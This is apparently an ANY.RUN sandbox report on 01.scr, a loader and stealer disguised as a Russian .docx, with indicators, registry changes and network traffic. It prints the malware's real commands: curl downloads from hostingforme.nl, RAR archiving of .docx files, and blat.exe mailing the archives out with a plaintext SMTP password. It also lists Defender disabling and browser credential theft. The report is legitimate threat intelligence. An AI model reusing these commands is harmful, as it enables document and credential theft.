File name:

01.scr

Full analysis: https://app.any.run/tasks/27b640cc-b138-434d-b6b3-e1dcc3e8db84
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: August 19, 2024, 06:33:31
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

47115A8CCB7478061E614367805DAC37

SHA1:

82BC08039A45A89CA26A0FB1FA11D273AF5F672E

SHA256:

11DD1CBBA8FCA35A64715B90F0AC16D7F335281F753F3F7F49C44B03C98937F0

SSDEEP:

49152:2q+hsGgNp+nIuLg9TL87hoALGtkEmCl4RiEgzIgVnUkWq/vQ8V+mAavGJjGdqLzu:L+fgUg9TL87hBWkE2RHInUevbhYjGd44

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • 01.scr.exe (PID: 3576)

    • Actions looks like stealing of personal data

      • driver.exe (PID: 3796)
      • driver.exe (PID: 3196)
      • wbpv.exe (PID: 3008)

    • Creates or modifies Windows services

      • DefenderControl.exe (PID: 4092)
      • DefenderControl.exe (PID: 2396)

    • Disables Windows Defender

      • DefenderControl.exe (PID: 2396)
      • DefenderControl.exe (PID: 4092)

    • Password recovery utility (NirSoft) for browsers is detected

      • wbpv.exe (PID: 3008)

    • Steals credentials

      • wbpv.exe (PID: 3008)

    • Steals credentials from Web Browsers

      • wbpv.exe (PID: 3008)

    • Uses NirSoft utilities to collect credentials

      • wbpv.exe (PID: 3008)

  • SUSPICIOUS

    • Drops the executable file immediately after the start

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • driver.exe (PID: 3100)
      • driver.exe (PID: 2656)
      • driver.exe (PID: 2280)
      • driver.exe (PID: 3744)

    • Reads security settings of Internet Explorer

      • 01.scr.exe (PID: 3576)

    • Executable content was dropped or overwritten

      • curl.exe (PID: 3424)
      • driver.exe (PID: 3100)
      • driver.exe (PID: 2656)
      • driver.exe (PID: 2280)
      • 01.scr.exe (PID: 3576)
      • driver.exe (PID: 3744)

    • Found strings related to reading or modifying Windows Defender settings

      • 01.scr.exe (PID: 3576)

    • Uses ATTRIB.EXE to modify file attributes

      • 01.scr.exe (PID: 3576)

    • Changes default file association

      • WINWORD.EXE (PID: 3436)

    • Creates/Modifies COM task schedule object

      • WINWORD.EXE (PID: 3436)

    • Connects to SMTP port

      • blat.exe (PID: 1164)
      • blat.exe (PID: 2452)
      • blat.exe (PID: 2816)

    • Potential Corporate Privacy Violation

      • curl.exe (PID: 3424)

    • Creates a software uninstall entry

      • 01.scr.exe (PID: 3576)

    • Reads the Internet Settings

      • 01.scr.exe (PID: 3576)

    • Application launched itself

      • DefenderControl.exe (PID: 4092)

    • Starts CMD.EXE for commands execution

      • 01.scr.exe (PID: 3576)

    • Executing commands from ".cmd" file

      • 01.scr.exe (PID: 3576)

    • Runs PING.EXE to delay simulation

      • cmd.exe (PID: 3728)

  • INFO

    • Create files in a temporary directory

      • 01.scr.exe (PID: 3576)
      • DefenderControl.exe (PID: 4092)
      • wbpv.exe (PID: 3008)

    • Checks supported languages

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • curl.exe (PID: 3288)
      • wmpnscfg.exe (PID: 3032)
      • curl.exe (PID: 3060)
      • driver.exe (PID: 3196)
      • curl.exe (PID: 2220)
      • driver.exe (PID: 3100)
      • driver.exe (PID: 3796)
      • blat.exe (PID: 2816)
      • driver.exe (PID: 3904)
      • blat.exe (PID: 1164)
      • blat.exe (PID: 3816)
      • driver.exe (PID: 3784)
      • blat.exe (PID: 3828)
      • driver.exe (PID: 1344)
      • driver.exe (PID: 2688)
      • blat.exe (PID: 828)
      • blat.exe (PID: 2412)
      • driver.exe (PID: 448)
      • blat.exe (PID: 2672)
      • driver.exe (PID: 2656)
      • DefenderControl.exe (PID: 4092)
      • DefenderControl.exe (PID: 2396)
      • driver.exe (PID: 2280)
      • wbpv.exe (PID: 3008)
      • blat.exe (PID: 2452)
      • driver.exe (PID: 3744)

    • Reads the computer name

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • curl.exe (PID: 3060)
      • wmpnscfg.exe (PID: 3032)
      • curl.exe (PID: 3288)
      • driver.exe (PID: 3100)
      • curl.exe (PID: 2220)
      • driver.exe (PID: 3904)
      • blat.exe (PID: 2816)
      • driver.exe (PID: 3196)
      • blat.exe (PID: 1164)
      • driver.exe (PID: 3796)
      • driver.exe (PID: 3784)
      • driver.exe (PID: 1344)
      • driver.exe (PID: 448)
      • driver.exe (PID: 2656)
      • DefenderControl.exe (PID: 4092)
      • driver.exe (PID: 2688)
      • DefenderControl.exe (PID: 2396)
      • driver.exe (PID: 2280)
      • wbpv.exe (PID: 3008)
      • blat.exe (PID: 2452)
      • driver.exe (PID: 3744)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 3032)

    • Reads mouse settings

      • DefenderControl.exe (PID: 4092)
      • DefenderControl.exe (PID: 2396)

    • Reads Microsoft Office registry keys

      • 01.scr.exe (PID: 3576)

    • Reads the machine GUID from the registry

      • wbpv.exe (PID: 3008)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable Delphi generic (31.9)
.scr | Windows screen saver (29.4)
.dll | Win32 Dynamic Link Library (generic) (14.8)
.exe | Win32 Executable (generic) (10.1)
.exe | Win16/32 Executable Delphi generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 1992:06:19 22:22:17+00:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Bytes reversed lo, 32-bit, Bytes reversed hi
PEType: PE32
LinkerVersion: 2.25
CodeSize: 148992
InitializedDataSize: 44544
UninitializedDataSize: -
EntryPoint: 0x25468
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
Comments: -
CompanyName: Редакционный совет журнала 2.docx
FileDescription: Редакционный совет журнала 2.docx Редакционный совет журнала
FileVersion: Редакционный совет ж
LegalCopyright: Редакционный совет журнала 2.docx
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
174
Monitored processes
82
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
start 01.scr.exe winword.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs attrib.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs curl.exe curl.exe wmpnscfg.exe no specs curl.exe curl.exe driver.exe driver.exe blat.exe driver.exe blat.exe driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe defendercontrol.exe no specs defendercontrol.exe driver.exe wbpv.exe blat.exe driver.exe ping.exe no specs 01.scr.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
368"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\DefenderControl.exeC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
448C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-d.rar D:\*.docx /yC:\Intel\driver.exe—cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
1
Modules
Images
c:\intel\driver.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
648"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd set pass-out=Outghj5698C:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
680"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\doc-c.rarC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
744"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\tdata.rarC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
828C:\Intel\blat.exe -to pass@hostingforme.nl -f "DOCX-E<out@hostingforme.nl>" -server mail.hostingforme.nl -port 587 -u out@hostingforme.nl -pw Outghj5698 -subject "Document USER-PC/admin" -body "Document USER-PC/admin" -attach "C:\Intel\docx-e.rar"C:\Intel\blat.exe—cmd.exe
User:
admin
Company:
http://www.blat.net/
Integrity Level:
HIGH
Description:
A Win32 command line eMail tool
Exit code:
12
Version:
3.2.24
Modules
Images
c:\intel\blat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\advapi32.dll
856"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\keys.rar http://hostingforme.nl//down/keys.rarC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
900"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\curl.exeC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
940"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-c.rar C:\*.docx /yC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1136"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\password.txtC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
14 930
Read events
14 000
Write events
602
Delete events
328

Modification events

(PID) Process:(3576) 01.scr.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Video Configurations
Value:
C:\Intel\go.exe
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\SysProcs
Operation:writeName:userprofile.exe
Value:
0
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\SysProcs
Operation:writeName:MpkL64.exe
Value:
0
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Operation:writeName:C:\Intel\userprofile.exe
Value:
DisableNXShowUI
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Operation:writeName:C:\Intel\MPKView.exe
Value:
DisableNXShowUI
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:DisplayName
Value:
Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:DisplayVersion
Value:
Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:VersionMajor
Value:
2
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:VersionMinor
Value:
0
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:Publisher
Value:
Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Executable files
7
Suspicious files
19
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
3436WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR2515.tmp.cvr —
MD5:—
SHA256:—
3436WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:A48AB866E5E10C5D234AA984150C4BD6
SHA256:D50E575CEBA74EFB194BB53C2FD35BAB71A5A161BE4D5A83F23B3750F6BCE4DD
3060curl.exeC:\Intel\pas.rarcompressed
MD5:1A80C5B3C8B7D8ED8277E2291DCEF230
SHA256:A4098A8E85E8244AECE78B2E4BDC62A06781D57FE540F315E0441BA29060BCE1
357601.scr.exeC:\Users\admin\AppData\Local\Temp\$inst\2.tmpcompressed
MD5:8708699D2C73BED30A0A08D80F96D6D7
SHA256:A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
357601.scr.exeC:\Intel\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docxdocument
MD5:AD71E1CD5A83A3ABBF3D1FFC379846BF
SHA256:6C86608893463968BFDA0969AA1E6401411C0882662F3E70C1AC195EE7BD1510
3288curl.exeC:\Intel\keys.rarcompressed
MD5:A2BBDB4A691641B788A6B2D726EB6060
SHA256:CF264AC79127CABCF4ECB046490A0C4347CA08C3B0225853C3598A6D322D12EF
3464cmd.exeC:\Intel\rezet.cmdtext
MD5:D041286EE6B2AF8D8ACC9431B20B166D
SHA256:D0EB89DD1B817C143B686C57E7F14AA300B924C6CC344A50B0D7B46BCE47AB50
357601.scr.exeC:\Intel\curl.exeexecutable
MD5:9542F4AC0CAEFA766BD67BA879ED2DD4
SHA256:78DBE1FBBC7E5F51FA385BE08BB679251E46B43BE690FBC49C412D9D4F647A10
3436WINWORD.EXEC:\Intel\~$äàêöèîííûé ñîâåò æóðíàëà 2.docxbinary
MD5:DF73436A0BFCBA523ABA7B2EEBCE4049
SHA256:442FD3ACD720C349F75F3C157BFCFE376839D4AA2A9BA84148BD64F630612E46
3100driver.exeC:\Intel\blat.exeexecutable
MD5:34C6DFA28C293B5F21A77F74D94DE16B
SHA256:E613D07619B28F896B4ADF24D888CF52814FA2EB89F261F2E4715485954251B7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
21
DNS requests
10
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3424
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl/down/driver.exe
unknown
—
—
malicious
3060
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl/down/pas.rar
unknown
—
—
malicious
1372
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?33775f6043c93e33
unknown
—
—
whitelisted
3288
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl//down/keys.rar
unknown
—
—
malicious
2220
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl/down/MPK.rar
unknown
—
—
malicious
1060
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2b2cfb908ae71288
unknown
—
—
whitelisted
1372
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1372
svchost.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
whitelisted
—
—
239.255.255.250:3702
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1372
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
1060
svchost.exe
224.0.0.252:5355
—
—
—
whitelisted
3424
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown
3060
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown
3288
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown
2220
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.206
whitelisted
hostingforme.nl
  • 92.63.173.57
unknown
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
ctldl.windowsupdate.com
  • 199.232.214.172
  • 199.232.210.172
whitelisted
crl.microsoft.com
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
mail.hostingforme.nl
  • 92.63.173.57
unknown

Threats

PID
Process
Class
Message
3424
curl.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1164
blat.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2816
blat.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2452
blat.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
01.scr